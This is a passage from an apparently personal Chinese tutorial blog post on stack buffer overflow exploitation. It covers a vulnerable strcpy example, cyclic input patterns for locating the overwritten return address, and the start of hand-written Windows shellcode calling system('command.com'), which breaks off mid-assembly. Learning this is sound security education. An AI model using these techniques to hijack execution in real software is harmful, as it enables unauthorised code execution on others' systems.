作为一只二进制菜鸟,不,应该是作为一只各安全领域的菜鸟,感觉二进制学的还是蛮开心的,每天也都能学到点新的东西,调试代码的过程也是非常令人开心。今天总结下目前学到的栈溢出漏洞的利用思路
栈溢出漏洞简介
C语言中有些字符串操作函数不会对字符串的长度进行检查,比如strcpy。
#include<stdio.h>
#include<string.h>
char name[]= "abcdefghijklmnopqrstuvwxyz"
int main(){
char output[8];
strcpy(output,name);
int i = 0;
for(i;i<8&&output[i];i++){
printf("\\0x%x",output[i]);
}
return 0;
}
上述代码中name字符数组的长度远远超过来了8,但是strcpy并不会对长度进行检查他还是会将name内容复制给output,这时执行程序会出现如下错误:
错误提示“0x00007a79”指令引用不可读,这说明strcpy复制数据时数据溢出覆盖掉了堆栈中的栈底下面的保存的EIP的值导致的,具体见下图OD调试所示。
上述就是栈溢出的过程,即由于某些函数没有对数据进行长度检查导致复制覆盖掉栈中保存的代码执行上下文环境。那么缓冲区溢出漏洞如何利用呢?上述分析过程中我们发现数据覆盖掉了栈底下面的EIP,当我们函数执行结束返回时栈底的这个值被ret指令返回到EIP,而EIP就是下一条指令执行的地址,这岂不是意味着我们可以影响程序的执行顺序。那么我们要把它改成哪个地址呢
栈溢出漏洞利用思路
栈溢出覆盖返回地址是栈溢出漏洞的原罪,但是要想利用这一点完成一次缓冲区漏洞利用并不是一件容易的事,我们需要解决三个问题:首先是如何确定返回点位置即我们输入的哪一部分数据覆盖了返回地址;其次既然要利用漏洞就得有shellcode,如何获得shellcode;最后有了shellcode,也知道了返回点的位置,那么我们用什么数据覆盖返回点的数据才能运行我们的shellcode呢?接下来一个个解决这三个问题:
确定返回点位置
第一个问题是确定返回点位置,我们可以利用下面代码生成两个字符串,然后分别使用这两个字符串作为待测试程序的输入,根据输出推断返回点位置,很简单的数学逻辑不做过多解释直接见代码。
check1 = ''
for i in range(50):
check1 += chr(ord('A')+i%10)
check2 = ''
for i in range(50):
check2 += chr(ord('A')+i/10)
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
int main(){
char buffer[51],buffer1[51];
memset(buffer,0x41,50);
buffer[50]='\0';
memset(buffer1,0x41,50);
buffer1[50]='\0';
int i;
for (i=0;i<50;i++){
buffer[i]='A'+i/10;
buffer1[i]='A'+i%10;
}
printf("%s\n%s",buffer,buffer1);
return 0;
}
将生成的两段数据分别作为待测试程序输入然后观察程序反应:
上图像是的内存为0x43434343,所以应该是C的位置
0x48474645也就是EFGH,为此可以计算得到返回点的位置为20+5=25即输入字符串中第25-28四个字节将要覆盖返回点位置。
编写shellcode
shellcode即一段代码序列,在C语言逆向工程上下文中shellcode指的是一段汇编代码对应着的机器码,这段机器码能够由测试人员编写用于完成特定操作。shellcode通常作为输入进入到程序中,程序最初会把shellcode当做字符串来处理,而C语言中以\x00作为字符串的结束符,为此如果shellcode中存在\x00则可能导致程序对字符串进行截断从而导致最终进入内存的只有部分shellcode。第一个问题解决了,接下来就要准备shellcode了,可以通过三种手段得到shellcode:
- 自己编写:
在Windows系统中函数调用方式与Linux不同,在Linux系统中通过中断及函数代码号来完成对函数的调用,如下述输出hello world的代码:
SECTION .data
msg db 'Hello World!', 0Ah ; assign msg variable with your message string
SECTION .text
global _start
_start:
mov edx, 13 ; number of bytes to write - one for each letter plus 0Ah (line feed character)
mov ecx, msg ; move the memory address of our message string into ecx
mov ebx, 1 ; write to the STDOUT file
mov eax, 4 ; invoke SYS_WRITE (kernel opcode 4)
int 80h
而在Windows系统中在对函数进行调用时首先需要载入函数所在的动态链接库,然后将函数参数从右到左依次压入栈中最后通过call函数地址完成函数调用,返回值一般存放于EAX中。下图展示了调用msvcrt.dll中system函数的过程,图中使用红框标出了三个函数调用的过程:
为此可以依据Windows环境下函数的调用原理,将上述代码改写为汇编语言版本,如下所示(__asm中内容):
#include<windows.h>
#include<winbase.h>
typedef void (*MYPROC)(LPTSTR);
int main(){
/*HINSTANCE LibHandle = LoadLibrary("msvcrt.dll");
MYPROC ProcAdd = (MYPROC)GetProcAddress(LibHandle,"system");
(ProcAdd)("command.com");
*/
__asm{
push ebp;
mov ebp,esp;
xor edi,edi;
push edi;
sub esp,08h;
//将字符串“msvcrt.dll”压入栈中
mov dword ptr [ebp-0ch],